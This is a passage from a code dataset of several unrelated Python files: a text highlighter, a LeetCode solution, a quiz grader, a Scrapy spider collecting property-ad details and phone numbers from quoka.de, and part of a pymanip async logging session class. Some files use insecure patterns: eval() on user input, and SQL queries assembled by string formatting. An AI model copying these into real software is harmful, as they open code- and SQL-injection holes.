chopping the block down to the proper window.\n        text = self.text_block[start_offset:end_offset]\n\n        # Invert highlight_locations to a location -> term list\n        term_list = []\n\n        for term, locations in highlight_locations.items():\n            term_list += [(loc - start_offset, term) for loc in locations]\n\n        loc_to_term = sorted(term_list)\n\n        # Prepare the highlight template\n        if self.css_class:\n            hl_start = '<%s class=\"%s\">' % (self.html_tag, self.css_class)\n        else:\n            hl_start = '<%s>' % (self.html_tag)\n\n        hl_end = '</%s>' % self.html_tag\n\n        # Copy the part from the start of the string to the first match,\n        # and there replace the match with a highlighted version.\n        highlighted_chunk = \"\"\n        matched_so_far = 0\n        prev = 0\n        prev_str = \"\"\n\n        for cur, cur_str in loc_to_term:\n            # This can be in a different case than cur_str\n            actual_term = text[cur:cur + len(cur_str)]\n\n            # Handle incorrect highlight_locations by first checking for the term\n            if actual_term.lower() == cur_str:\n                if cur < prev + len(prev_str):\n                    continue\n\n                highlighted_chunk += text[prev + len(prev_str):cur] + hl_start + actual_term + hl_end\n                prev = cur\n                prev_str = cur_str\n\n                # Keep track of how far we've copied so far, for the last step\n                matched_so_far = cur + len(actual_term)\n\n        # Don't forget the chunk after the last term\n        highlighted_chunk += text[matched_so_far:]\n        symbol_location_list = find_symbol(self.text_block)\n\n        # print highlight_locations.items()\n        start_offset_ext=start_offset\n        end_offset_ext=end_offset\n        for i in range(0, len(symbol_location_list)-1):\n\n            # if  symbol_location_list[i] < start_offset:\n            #     print symbol_location_list[i],symbol_location_list[i+1],\"%%%%\"\n            if symbol_location_list[i+1]>start_offset:\n\n                    start_offset_ext = symbol_location_list[i]\n                    end_offset_ext = symbol_location_list[i + 1]\n                    break\n        if start_offset-start_offset_ext>50:\n            start_offset_ext=start_offset-50\n\n        if end_offset_ext-end_offset>50:\n            end_offset_ext=end_offset+50\n\n        if end_offset_ext>end_offset:\n            highlighted_chunk=self.text_block[start_offset_ext:start_offset]+highlighted_chunk\n        else:\n            highlighted_chunk=self.text_block[start_offset_ext:start_offset]+highlighted_chunk+self.text_block[end_offset:end_offset_ext]\n\n\n        if start_offset_ext > 0:\n            highlighted_chunk = '。。%s' % highlighted_chunk\n\n        if end_offset_ext < len(self.text_block):\n            highlighted_chunk = '%s。。。' % highlighted_chunk\n\n        return highlighted_chunk","sub_path":"elastic_haystack/basesearch/customhighlighter.py","file_name":"customhighlighter.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"255921098","text":"class Solution(object):\n    def canFinish(self, numCourses, prerequisites):\n        \"\"\"\n        :type numCourses: int\n        :type prerequisites: List[List[int]]\n        :rtype: List[int]\n        \"\"\"\n        post = [[] for i in range(numCourses)]\n        prerequisite = [0] * numCourses\n        l = []\n        ans = []\n        \n        for pairs in prerequisites:\n            post[pairs[1]].append(pairs[0])\n            prerequisite[pairs[0]] += 1\n        \n        for i, v in enumerate(prerequisite):\n            if v == 0:\n                l.append(i)\n\n        while l:\n            node_remove = l.pop()\n            ans.append(node_remove)\n            for node in post[node_remove]:\n                prerequisite[node] -= 1\n                if prerequisite[node] == 0:\n                    l.append(node)\n\n        if len(ans) == numCourses:\n            return True\n        return False\n","sub_path":"online_judge/leetcode_py/207. Course Schedule.py","file_name":"207. Course Schedule.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"143340019","text":"# File: q2.py\n#\n# ===============================================\n# Problem\n# ===============================================\n# A certain CS professor gives 5-point quizzes that are graded on the scale\n# 5-A, 4-B, 3-C, 2-D, 1-F, 0-F. Write a program that accepts a quiz score as\n# an input and prints out the corresponding grade.\n\ndef main():\n  # Program description\n  print(\"Test Score Calculator\\n\")\n\n  # Input\n  score = eval(input(\"Enter a students grade in a 0-5 range: \"))\n\n  scoreScale = ['F', 'F', 'D', 'C', 'B', 'A']\n\n  print(\"Students score is:\", scoreScale[score])\n\nmain()\n","sub_path":"exercises/ch5/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"227020944","text":"# -*- coding: utf-8 -*-\nimport re\nimport time\nfrom datetime import datetime\n\nimport dateparser\nimport scrapy\n\nfrom quoka.items import QuokaItem\n\n\ndef build_full_url(url):\n    return 'http://www.quoka.de' + url\n\n\ndef get_data(response):\n    data = {}\n    data['comm'] = response.meta['comm']\n    data['classtype'] = response.meta['classtype']\n    return data\n\n\nclass QuokaSpider(scrapy.Spider):\n    name = 'quoka_spider'\n    allowed_domains = ['quoka.de']\n    start_urls = [\"http://www.quoka.de/immobilien/bueros-gewerbeflaechen/\"]\n\n    counter = 0\n\n    def parse(self, response):\n        for comm in (0, 1):\n            data = {'comm': str(comm), 'classtype': 'of'}\n            yield scrapy.http.FormRequest.from_response(response,\n                                                        formname=\"frmNaviSearch\",\n                                                        formdata=data,\n                                                        url=response.url,\n                                                        meta=data,\n                                                        callback=self.cities)\n\n    def cities(self, response):\n        city_block = response.xpath(\n            '//form[@class=\"SearchFormInsert\"]/.//div[@class=\"cnt\"]')\n        data = get_data(response)\n        if len(city_block) > 0:\n            city_block = city_block[-1]\n\n            for city_link in city_block.xpath('.//ul/li/ul/li/a/@href').extract():\n                url = build_full_url(city_link)\n                yield scrapy.http.FormRequest.from_response(response,\n                                                            url=url,\n                                                            formname=\"frmNaviSearch\",\n                                                            formdata=data,\n                                                            meta=data,\n                                                            callback=self.page)\n\n    def page(self, response):\n        next_page = response.xpath(\n            '//div[@class=\"rslt-pagination\"]/div/ul/li[contains(@class, \"arr-rgt\") and contains(@class, \"active\")]/a/@href')\n\n        data = get_data(response)\n        if next_page:\n            if len(next_page) > 1:\n                next_page = next_page[0]\n            url = build_full_url(next_page.extract())\n            data['pageno'] = response.xpath(\n                '//div[@class=\"rslt-pagination\"]/div/ul/li[contains(@class, \"arr-rgt\") and contains(@class, \"active\")]/a/@data-qng-page')[0].extract()\n\n            yield scrapy.http.FormRequest.from_response(response,\n                                                        url=url,\n                                                        formname=\"frmNaviSearch\",\n                                                        formdata=data,\n                                                        meta=data,\n                                                        callback=self.page)\n\n        data = get_data(response)\n        item_list = response.xpath(\n            '//div[@id=\"ResultListData\"]/ul/li[@class=\"q-ln hlisting\"]')\n        for item in item_list:\n            href = item.xpath('.//a/@href')[0].extract()\n            url = build_full_url(href)\n            yield scrapy.Request(url=url,\n                                 meta=data,\n                                 callback=self.item)\n\n    def item(self, response):\n        self.counter += 1\n        i = QuokaItem()\n        i['url'] = response.url\n        i['erzeugt_am'] = int(time.mktime(datetime.now().timetuple()))\n\n        i['Uberschrift'] = response.xpath(\n            '//div[@class=\"headline\"]/h1/text()')[0].extract()\n        i['PLZ'] = response.xpath(\n            '//span[@class=\"postal-code\"]/text()')[0].extract()\n        i['OBID'] = response.xpath(\n            '//div[contains(text(),\"Anzeige\")]/following-sibling::strong/text()')[0].extract().strip()\n\n        i['Beschreibung'] = response.xpath(\n            '//div[@class=\"details\"]/div[@class=\"text\"]/text()')[0].extract()\n\n        i['Monat'] = datetime.now().month\n        try:\n            date_string = response.xpath(\n                '/html/body/div[3]/div[2]/div[1]/main/div[8]/div/div[3]/div[2]/div[2]/div[4]/following-sibling::text()[1]')[0].extract()\n            dt = dateparser.parse(date_string.strip())\n            i['Erstellungsdatum'] = int(time.mktime(dt.timetuple()))\n        except:\n            # Wrong format 'Heute, 22:50 Uhr'\n            pass\n        i['Gewerblich'] = response.meta['comm']\n        i['Stadt'] = response.xpath(\n            '//span[@class=\"address location\"]//span[@class=\"locality\"]'\n            '/text()').extract_first()\n        try:\n            i['Kaufpreis'] = response.xpath(\n                '//div[@class=\"price\"]//span/text()')[0].extract()\n        except:\n            # No price on site\n            pass\n        try:\n            i['Immobilientyp'] = response.xpath(\n                '/html/body/div[3]/div[2]/header/div[4]/div/div[2]/span[3]/a/span/span/text()')[0].extract()\n\n        except:\n            pass\n\n        telefon_url = response.xpath(\n            '//a[contains(@onclick,\"displayphonenumber.php\")]'\n            '/@onclick').extract_first()\n        if telefon_url:\n            m = re.search('load\\( \\'(.+?)\\'', telefon_url)\n            if m:\n                url = m.group(1)\n                request = scrapy.Request(\n                    response.urljoin(url), self.phone)\n                request.meta['item'] = i\n                yield request\n        else:\n            yield i\n\n    def phone(self, response):\n        i = response.meta['item']\n        try:\n            i['Telefon'] = response.xpath(\n                '/html/body/div[3]/div[2]/div[1]/main/div[8]/div/div[4]/div[1]/div/ul/li/span[2]/span/text()').extract()[0]\n            print(i['Telefon'])\n        except:\n            i['Anbieter_ID'] = u\"Immobilienscout24\"\n        return i\n","sub_path":"quoka/quoka/spiders/quoka_spider.py","file_name":"quoka_spider.py","file_ext":"py","file_size_in_byte":5869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"255338197","text":"def gen(number):\n    nr = sorted(number)\n    return \"\".join(nr) + \"-\" + \"\".join(reversed(nr))\n\ndef calc(number):\n    total = 1\n    while True:\n        nr = number.split(\"-\")\n        smal = nr[0]\n        large = nr[1]\n        summ = str(int(large)-int(smal))\n        print(large + \" - \" + smal + \" = \" + summ)\n\n        if summ == \"6174\":\n            print(\"\\n\" + \"Total: \" + str(total))\n            break\n        else:\n            total += 1\n            number = gen(summ)\n\nif __name__ == \"__main__\":\n    while True:\n        try:\n            n = int(input(\"Skriv ett fyrsiffrigt tal: \"))\n            if not len(str(n)) == 4:\n                continue\n            break\n        except:\n            continue\n    print()\n\n    calc(gen(str(n)))\n","sub_path":"DattarayaRamchandraKaprekar.py","file_name":"DattarayaRamchandraKaprekar.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"34124805","text":"from epics import PV\nfrom slic.devices.general.motor import Motor\n\n\nclass EXP:\n\n    def __init__(self, Id, alias_namespace=None):\n        self.Id = Id\n\n        ### motors 1.5M JF Zaber ###\n        #self.det_x = Motor(Id + ':MOT_TX')\n        #self.det_y = Motor(Id + ':MOT_TY')\n        self.zaber_x = Motor(Id + \":MOT_TZ\")\n        self.qioptiq_zoom = Motor(Id + \":MOT_QIOPT_Z\")\n\n        ### motors crystal ###\n        #self.c_focus = Motor(Id + ':MOT_VT80')\n        #self.c_rot = Motor(Id + ':MOT_ROT')\n\n    def __repr__(self):\n        s = \"**Detector and crystal positions**\\n\"\n        motors = \"zaber_x qioptiq_zoom\".split()\n        for motor in motors:\n            s += \" - %s %.4f\\n\" % (motor, getattr(self, motor).wm())\n        s += \"\\n\"\n\n        return s\n\n\n\n","sub_path":"slic/devices/endstations/unused/bernina_europium.py","file_name":"bernina_europium.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"405475029","text":"\"\"\"\n\nThis module defines another kind of session, meant to be used for asynchronous\nmonitoring, where each variable can be logged with its own timestamp.\n\n\"\"\"\n\nimport signal\nimport time\nimport sys\nimport os.path\nimport pickle\nimport warnings\nfrom pprint import pprint\n\nimport sqlite3\nfrom datetime import datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.cbook import mplDeprecation as MatplotlibDeprecationWarning\n\nimport asyncio\nfrom aiohttp import web\nimport aiohttp_jinja2\nimport jinja2\nimport tempfile\nimport smtplib\nfrom email.message import EmailMessage\nfrom clint.textui import colored\nimport requests\nimport json\n\ntry:\n    import PyQt5.QtCore\nexcept ModuleNotFoundError:\n    pass\n\nfrom pymanip.mytime import dateformat\n\n__all__ = [\"AsyncSession\"]\n\n\nclass AsyncSession:\n    database_version = 3\n\n    def __init__(self, session_name=None, verbose=True, delay_save=False):\n        self.session_name = session_name\n        self.custom_figures = None\n        self.delay_save = delay_save\n        if session_name is not None:\n            session_name = str(session_name)  # in case it is a Path object\n            if session_name.endswith(\".db\"):\n                session_name = session_name[:-3]\n        elif delay_save:\n            raise ValueError(\"Cannot delay_save if session_name is not specified\")\n        if session_name is None or delay_save:\n            # For no name session, or in case of delay_save=True, then\n            # the connection is in-memory\n            self.conn = sqlite3.connect(\":memory:\")\n        else:\n            # Otherwise, the connection is on the disk for immediate writing\n            self.conn = sqlite3.connect(session_name + \".db\")\n        if delay_save and os.path.exists(session_name + \".db\"):\n            # Load existing database into in-memory database\n            disk_db = sqlite3.connect(session_name + \".db\")\n            try:\n                with self.conn as c:\n                    for line in disk_db.iterdump():\n                        c.execute(line)\n            finally:\n                disk_db.close()\n        with self.conn as c:\n            tables = list(c.execute(\"SELECT name FROM sqlite_master;\"))\n            if not tables:\n                c.execute(\n                    \"\"\"\n                    CREATE TABLE log_names (\n                    name TEXT);\n                    \"\"\"\n                )\n                c.execute(\n                    \"\"\"\n                    CREATE TABLE log (\n                    timestamp INT,\n                    name TEXT,\n                    value REAL);\n                    \"\"\"\n                )\n                c.execute(\n                    \"\"\"\n                    CREATE TABLE dataset_names (\n                    name TEXT);\n                    \"\"\"\n                )\n                c.execute(\n                    \"\"\"\n                    CREATE TABLE dataset (\n                    timestamp INT,\n                    name TEXT,\n                    data BLOB);\n                    \"\"\"\n                )\n                c.execute(\n                    \"\"\"\n                    CREATE TABLE parameters (\n                        name TEXT,\n                        value REAL);\n                    \"\"\"\n                )\n                c.execute(\n                    \"\"\"\n                    INSERT INTO parameters\n                    (name, value)\n                    VALUES (?,?);\n                    \"\"\",\n                    (\"_database_version\", AsyncSession.database_version),\n                )\n                c.execute(\n                    \"\"\"\n                    INSERT INTO parameters\n                    (name, value)\n                    VALUES (?,?);\n                    \"\"\",\n                    (\"_session_creation_timestamp\", datetime.now().timestamp()),\n                )\n            elif verbose:\n                self.print_welcome()\n        self.figure_list = []\n        self.template_dir = os.path.join(os.path.dirname(__file__), \"web\")\n        self.static_dir = os.path.join(os.path.dirname(__file__), \"web_static\")\n        self.jinja2_loader = jinja2.FileSystemLoader(self.template_dir)\n\n    def save_database(self):\n        \"\"\"\n        If delay_save = True, the database is kept in-memory, and later\n        saved to disk when this function is called.\n        A new database file will be created with the content of the current\n        in-memory database\n        \"\"\"\n        if self.delay_save:\n            try:\n                os.remove(self.session_name + \".db\")\n            except FileNotFoundError:\n                pass\n            disk_db = sqlite3.connect(self.session_name + \".db\")\n            try:\n                with disk_db as c:\n                    for line in self.conn.iterdump():\n                        c.execute(line)\n            finally:\n                disk_db.close()\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, type_, value, cb):\n        self.save_database()\n        self.conn.close()\n\n    def get_version(self):\n        version = self.parameter(\"_database_version\")\n        if version is None:\n            version = 1\n        return version\n\n    @property\n    def t0(self):\n        if hasattr(self, \"_session_creation_timestamp\"):\n            return self._session_creation_timestamp\n        t0 = self.parameter(\"_session_creation_timestamp\")\n        if t0 is not None:\n            self._session_creation_timestamp = t0\n            return t0\n        logged_data = self.logged_first_values()\n        if logged_data:\n            t0 = min([v[0] for k, v in logged_data.items()])\n            self.save_parameter(_session_creation_timestamp=t0)\n            self._session_creation_timestamp = t0\n            return t0\n        return 0\n\n    @property\n    def initial_timestamp(self):\n        return self.t0\n\n    @property\n    def last_timestamp(self):\n        ts = list()\n        last_values = self.logged_last_values()\n        if last_values:\n            ts.append(max([t_v[0] for name, t_v in last_values.items()]))\n        for ds_name in self.dataset_names():\n            ts.append(max(self.dataset_times(ds_name)))\n        if ts:\n            return max(ts)\n        return None\n\n    def print_welcome(self):\n        start_string = time.strftime(dateformat, time.localtime(self.initial_timestamp))\n        print(colored.blue(\"*** Start date: \" + start_string))\n        last = self.last_timestamp\n        if last:\n            end_string = time.strftime(dateformat, time.localtime(last))\n            print(colored.blue(\"***   End date: \" + end_string))\n\n    def add_entry(self, **kwargs):\n        ts = datetime.now().timestamp()\n        with self.conn as c:\n            cursor = c.cursor()\n            cursor.execute(\"SELECT name FROM log_names;\")\n            names = set([d[0] for d in cursor.fetchall()])\n            for key, val in kwargs.items():\n                if key not in names:\n                    c.execute(\"INSERT INTO log_names VALUES (?);\", (key,))\n                    names.add(key)\n                c.execute(\"INSERT INTO log VALUES (?,?,?);\", (ts, key, val))\n\n    def add_dataset(self, **kwargs):\n        ts = datetime.now().timestamp()\n        with self.conn as c:\n            cursor = c.cursor()\n            cursor.execute(\"SELECT name FROM dataset_names;\")\n            names = set([d[0] for d in cursor.fetchall()])\n            for key, val in kwargs.items():\n                if key not in names:\n                    c.execute(\"INSERT INTO dataset_names VALUES (?);\", (key,))\n                    names.add(key)\n                c.execute(\n                    \"INSERT INTO dataset VALUES (?,?,?);\",\n                    (ts, key, pickle.dumps(val, protocol=4)),\n                )\n\n    def logged_variables(self):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\"SELECT name FROM log_names;\")\n            data = c.fetchall()\n        names = set([d[0] for d in data])\n        return names\n\n    def logged_data(self):\n        names = self.logged_variables()\n        result = dict()\n        for name in names:\n            result[name] = self.__getitem__(name)\n        return result\n\n    def logged_first_values(self):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\"SELECT name FROM log_names;\")\n            names = set([d[0] for d in c.fetchall()])\n            result = dict()\n            for name in names:\n                c.execute(\n                    \"\"\"SELECT timestamp, value FROM log\n                             WHERE name='{:}'\n                             ORDER BY timestamp ASC\n                             LIMIT 1;\n                          \"\"\".format(\n                        name\n                    )\n                )\n                result[name] = c.fetchone()\n        return result\n\n    def logged_last_values(self):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\"SELECT name FROM log_names;\")\n            names = set([d[0] for d in c.fetchall()])\n            result = dict()\n            for name in names:\n                c.execute(\n                    \"\"\"SELECT timestamp, value FROM log\n                             WHERE name='{:}'\n                             ORDER BY timestamp DESC\n                             LIMIT 1;\n                          \"\"\".format(\n                        name\n                    )\n                )\n                result[name] = c.fetchone()\n        return result\n\n    def logged_data_fromtimestamp(self, name, timestamp):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\"SELECT timestamp, value FROM log\n                         WHERE name='{:}' AND timestamp > {:}\n                         ORDER BY timestamp ASC;\n                      \"\"\".format(\n                    name, timestamp\n                )\n            )\n            data = c.fetchall()\n        t = np.array([d[0] for d in data if d[1] is not None])\n        v = np.array([d[1] for d in data if d[1] is not None])\n        return t, v\n\n    def dataset_names(self):\n        with self.conn as conn:\n            c = conn.cursor()\n            try:\n                c.execute(\"SELECT name from dataset_names;\")\n                data = c.fetchall()\n            except sqlite3.OperationalError:\n                return set()\n        return set([d[0] for d in data])\n\n    def datasets(self, name):\n        with self.conn as conn:\n            c = conn.cursor()\n            try:\n                c.execute(\"SELECT name from dataset_names;\")\n                data = c.fetchall()\n            except sqlite3.OperationalError:\n                data = set()\n            names = set([d[0] for d in data])\n            if name not in names:\n                print(\"Possible dataset names are\", names)\n                raise ValueError(f'Bad dataset name \"{name:}\"')\n            it = c.execute(\n                \"\"\"SELECT timestamp, data FROM dataset\n                              WHERE name='{:}'\n                              ORDER BY timestamp ASC;\n                           \"\"\".format(\n                    name\n                )\n            )\n            for row in it:\n                yield row[0], pickle.loads(row[1])\n\n    def dataset_last_data(self, name):\n        return next(self.datasets(name))\n\n    def dataset_times(self, name):\n        with self.conn as conn:\n            c = conn.cursor()\n            it = c.execute(\n                \"\"\"SELECT timestamp FROM dataset\n                              WHERE name='{:}'\n                              ORDER BY timestamp ASC;\n                           \"\"\".format(\n                    name\n                )\n            )\n            t = np.array([v[0] for v in it])\n        return t\n\n    def dataset(self, name, ts=None):\n        if ts is None:\n            ts, data = self.dataset_last_data(name)\n            return data\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\"SELECT data FROM dataset\n                         WHERE name='{:}' AND timestamp='{:}';\n                      \"\"\".format(\n                    name, ts\n                )\n            )\n            data = pickle.loads(c.fetchone()[0])\n        return data\n\n    def save_parameter(self, **kwargs):\n        with self.conn as conn:\n            c = conn.cursor()\n            for key, val in kwargs.items():\n                c.execute(\n                    \"\"\"SELECT rowid FROM parameters\n                             WHERE name='{:}';\n                          \"\"\".format(\n                        key\n                    )\n                )\n                rowid = c.fetchone()\n                if rowid is not None:\n                    rowid = rowid[0]\n                    c.execute(\n                        \"\"\"\n                        REPLACE INTO parameters\n                        (rowid, name, value)\n                        VALUES (?,?,?);\n                        \"\"\",\n                        (rowid, key, val),\n                    )\n                else:\n                    c.execute(\n                        \"\"\"\n                        INSERT INTO parameters\n                        (name, value)\n                        VALUES (?,?);\n                        \"\"\",\n                        (key, val),\n                    )\n\n    def parameter(self, name):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\"\n                      SELECT value FROM parameters\n                      WHERE name='{:}';\n                      \"\"\".format(\n                    name\n                )\n            )\n            data = c.fetchone()\n            if data:\n                return data[0]\n        return None\n\n    def has_parameter(self, name):\n        return self.parameter(name) is not None\n\n    def parameters(self):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\"SELECT * FROM parameters;\")\n            data = c.fetchall()\n        return {d[0]: d[1] for d in data}\n\n    def __getitem__(self, key):\n        with self.conn as conn:\n            c = conn.cursor()\n            c.execute(\n                \"\"\"\n                      SELECT timestamp, value FROM log\n                      WHERE name='{:}';\n                      \"\"\".format(\n                    key\n                )\n            )\n            data = c.fetchall()\n        t = np.array([d[0] for d in data])\n        v = np.array([d[1] for d in data])\n        return t, v\n\n    async def send_email(\n        self,\n        from_addr,\n        to_addrs,\n        host,\n        port=25,\n        subject=None,\n        delay_hours=6,\n        initial_delay_hours=None,\n    ):\n        \"\"\"\n        Asynchronous task which sends an email every delay_hours hours.\n        \"\"\"\n\n        if self.session_name is None:\n            title = \"Pymanip session\"\n        else:\n            title = self.session_name\n        if subject is None:\n            subject = title\n\n        if initial_delay_hours is None:\n            initial_delay_hours = delay_hours / 2\n\n        if initial_delay_hours > 0:\n            await self.sleep(initial_delay_hours * 3600, verbose=False)\n\n        jinja2_autoescape = jinja2.select_autoescape([\"html\"])\n        jinja2_env = jinja2.Environment(\n            loader=self.jinja2_loader, autoescape=jinja2_autoescape\n        )\n        template = jinja2_env.get_template(\"email.html\")\n\n        while self.running:\n\n            dt_n = datetime.now()\n            dt_fmt = \"{:}{:02d}{:02d}-{:02d}{:02d}{:02d}\"\n            datestr = dt_fmt.format(\n                dt_n.year, dt_n.month, dt_n.day, dt_n.hour, dt_n.minute, dt_n.second\n            )\n            # Generate HTML content\n            last_values = self.logged_last_values()\n            for name in last_values:\n                timestamp, value = last_values[name]\n                last_values[name] = (\n                    timestamp,\n                    value,\n                    time.strftime(dateformat, time.localtime(timestamp)),\n                )\n            n_figs = len(self.figure_list)\n            message_html = template.render(\n                title=title,\n                fignums=range(n_figs),\n                datestr=datestr,\n                last_values=last_values,\n            )\n\n            # Create Email message\n            msg = EmailMessage()\n            msg[\"Subject\"] = subject\n            msg[\"From\"] = from_addr\n            msg[\"To\"] = to_addrs\n            msg.set_content(\"This is a MIME message\")\n            msg.add_alternative(message_html, subtype=\"html\")\n\n            # Add figure images\n            for fignum, fig in enumerate(self.figure_list):\n                fd, fname = tempfile.mkstemp(suffix=\".png\")\n                with os.fdopen(fd, \"wb\") as f_png:\n                    fig.canvas.draw_idle()\n                    fig.savefig(f_png)\n                with open(fname, \"rb\") as image_file:\n                    figure_data = image_file.read()\n                os.remove(fname)\n                p = msg.get_payload()[1]\n                p.add_related(\n                    figure_data,\n                    maintype=\"image\",\n                    subtype=\"png\",\n                    cid=\"{:d}{:}\".format(fignum, datestr),\n                    filename=\"fig{:d}-{:}.png\".format(fignum, datestr),\n                )\n\n            with smtplib.SMTP(host, port) as smtp:\n                try:\n                    smtp.send_message(msg)\n                    print(\"Email sent!\")\n                except smtplib.SMTPHeloError:\n                    print(\"SMTP Helo Error\")\n                except smtplib.SMTPRecipientsRefused:\n                    print(\"Some recipients have been rejected by SMTP server\")\n                except smtplib.SMTPSenderRefused:\n                    print(\"SMTP server refused sender \" + self.email_from_addr)\n                except smtplib.SMTPDataError:\n                    print(\"SMTP Data Error\")\n\n            await self.sleep(delay_hours * 3600, verbose=False)\n\n    async def plot(\n        self,\n        varnames=None,\n        maxvalues=1000,\n        yscale=None,\n        *,\n        x=None,\n        y=None,\n        fixed_ylim=None,\n        fixed_xlim=None,\n    ):\n        \"\"\"\n        if x, y is specified instead of varnames, plot var y against var x\n        \"\"\"\n        if varnames is None:\n            if not isinstance(x, str) or not isinstance(y, str):\n                raise TypeError(\"x and y should be strings\")\n            varnames = (x, y)\n            param_key_window = \"_window_xy_\" + \"_\".join(varnames)\n            param_key_figsize = \"_figsize_xy_\" + \"_\".join(varnames)\n            xymode = True\n        else:\n            if x is not None or y is not None:\n                raise ValueError(\"Cannot specify both varnames and (x,y)\")\n            if isinstance(varnames, str):\n                varnames = (varnames,)\n            param_key_window = \"_window_\" + \"_\".join(varnames)\n            param_key_figsize = \"_figsize_\" + \"_\".join(varnames)\n            xymode = False\n        last_update = {k: 0 for k in varnames}\n        saved_geom = self.parameter(param_key_window)\n        if saved_geom:\n            saved_geom = eval(saved_geom)\n        saved_figsize = self.parameter(param_key_figsize)\n        if saved_figsize:\n            saved_figsize = eval(saved_figsize)\n        plt.ion()\n        fig = plt.figure(figsize=saved_figsize)\n        mngr = fig.canvas.manager\n        if saved_geom:\n            mngr.window.setGeometry(saved_geom)\n        ax = fig.add_subplot(111)\n        line_objects = dict()\n        self.figure_list.append(fig)\n        ts0 = self.initial_timestamp\n        while self.running:\n            data = {\n                k: self.logged_data_fromtimestamp(k, last_update[k]) for k in varnames\n            }\n            if xymode:\n                ts_x, vs_x = data[x]\n                ts_y, vs_y = data[y]\n                if (ts_x != ts_y).any():\n                    raise ValueError(\n                        \"xymode can only be used if x and y are synchronous\"\n                    )\n                if ts_x.size > 0:\n                    if y in line_objects:\n                        p = line_objects[y]\n                        xx = np.hstack((p.get_xdata(), vs_x))\n                        yy = np.hstack((p.get_ydata(), vs_y))\n                        p.set_xdata(xx)\n                        p.set_ydata(yy)\n                        if fixed_xlim is None:\n                            xlim = ax.get_xlim()\n                            if xlim[1] < np.max(xx) or xlim[0] > np.min(xx):\n                                ax.set_xlim((np.min(xx), np.max(xx)))\n                        if fixed_ylim is None:\n                            ylim = ax.get_ylim()\n                            if ylim[1] < np.max(yy) or ylim[0] > np.min(yy):\n                                ax.set_ylim((np.min(yy), np.max(yy)))\n                    else:\n                        p, = ax.plot(vs_x, vs_y, \"s-\")\n                        line_objects[y] = p\n                        ax.set_xlabel(x)\n                        ax.set_ylabel(y)\n                        if fixed_xlim is None:\n                            if np.min(vs_x) != np.max(vs_x):\n                                ax.set_xlim((np.min(vs_x), np.max(vs_x)))\n                        else:\n                            ax.set_xlim(fixed_xlim)\n                        if fixed_ylim is None:\n                            if np.min(vs_y) != np.max(vs_y):\n                                ax.set_ylim((np.min(vs_y), np.max(vs_y)))\n                        else:\n                            ax.set_ylim(fixed_ylim)\n                        fig.show()\n                    last_update[x] = ts_x[-1]\n                    last_update[y] = ts_y[-1]\n            else:\n                for name, values in data.items():\n                    ts, vs = values\n                    if ts.size > 0:\n                        if name in line_objects:\n                            # print('updating plot')\n                            p = line_objects[name]\n                            x = np.hstack((p.get_xdata(), (ts - ts0) / 3600))\n                            y = np.hstack((p.get_ydata(), vs))\n                            if x.size > maxvalues:\n                                x = x[-maxvalues:]\n                                y = y[-maxvalues:]\n                            p.set_xdata(x)\n                            p.set_ydata(y)\n                            if x[0] != x[-1]:\n                                ax.set_xlim((x[0], x[-1]))\n                            if fixed_ylim is None:\n                                ylim = ax.get_ylim()\n                                if ylim[1] < np.max(y) or ylim[0] > np.min(y):\n                                    ylim = (\n                                        min((ylim[0], np.min(y))),\n                                        max((ylim[1], np.max(y))),\n                                    )\n                                    ax.set_ylim(ylim)\n                        else:\n                            # print('initial plot')\n                            x = (ts - ts0) / 3600\n                            y = vs\n                            if x.size > maxvalues:\n                                x = x[-maxvalues:]\n                                y = y[-maxvalues:]\n                            p, = ax.plot(x, y, \"o-\", label=name)\n                            line_objects[name] = p\n                            ax.set_xlabel(\"t [h]\")\n                            if x[0] != x[-1]:\n                                ax.set_xlim((x[0], x[-1]))\n                            if yscale:\n                                ax.set_yscale(yscale)\n                            if fixed_ylim is not None:\n                                ax.set_ylim(fixed_ylim)\n                            ax.legend()\n                            fig.show()\n                        last_update[name] = ts[-1]\n            await asyncio.sleep(1)\n\n        # Saving figure positions\n        try:\n            geom = mngr.window.geometry()\n            figsize = tuple(fig.get_size_inches())\n            self.save_parameter(\n                **{param_key_window: str(geom), param_key_figsize: str(figsize)}\n            )\n        except AttributeError:\n            pass\n\n    async def figure_gui_update(self):\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\", category=MatplotlibDeprecationWarning)\n            while self.running:\n                figure_list = self.figure_list\n                if self.custom_figures:\n                    figure_list = figure_list + self.custom_figures\n                if figure_list:\n                    for fig in self.figure_list:\n                        fig.canvas.start_event_loop(0.7 / len(self.figure_list))\n                        await asyncio.sleep(0.3 / len(self.figure_list))\n                    await asyncio.sleep(0.05)\n                else:\n                    await asyncio.sleep(1.0)\n\n    def ask_exit(self, *args, **kwargs):\n        self.running = False\n        print(\" Signal caught... stopping...\")\n\n    async def sweep(self, task, iterable):\n        # expects task of the format\n        # async def balayage(sesn, voltage):\n        #   do something with voltage\n        for val in iterable:\n            await task(self, val)\n            if not self.running:\n                break\n        self.running = False\n\n    async def sleep(self, duration, verbose=True):\n        start = time.monotonic()\n        while self.running and time.monotonic() - start < duration:\n            if verbose:\n                print(\n                    \"Sleeping for \"\n                    + str(-int(time.monotonic() - start - duration))\n                    + \" s\"\n                    + \" \" * 8,\n                    end=\"\\r\",\n                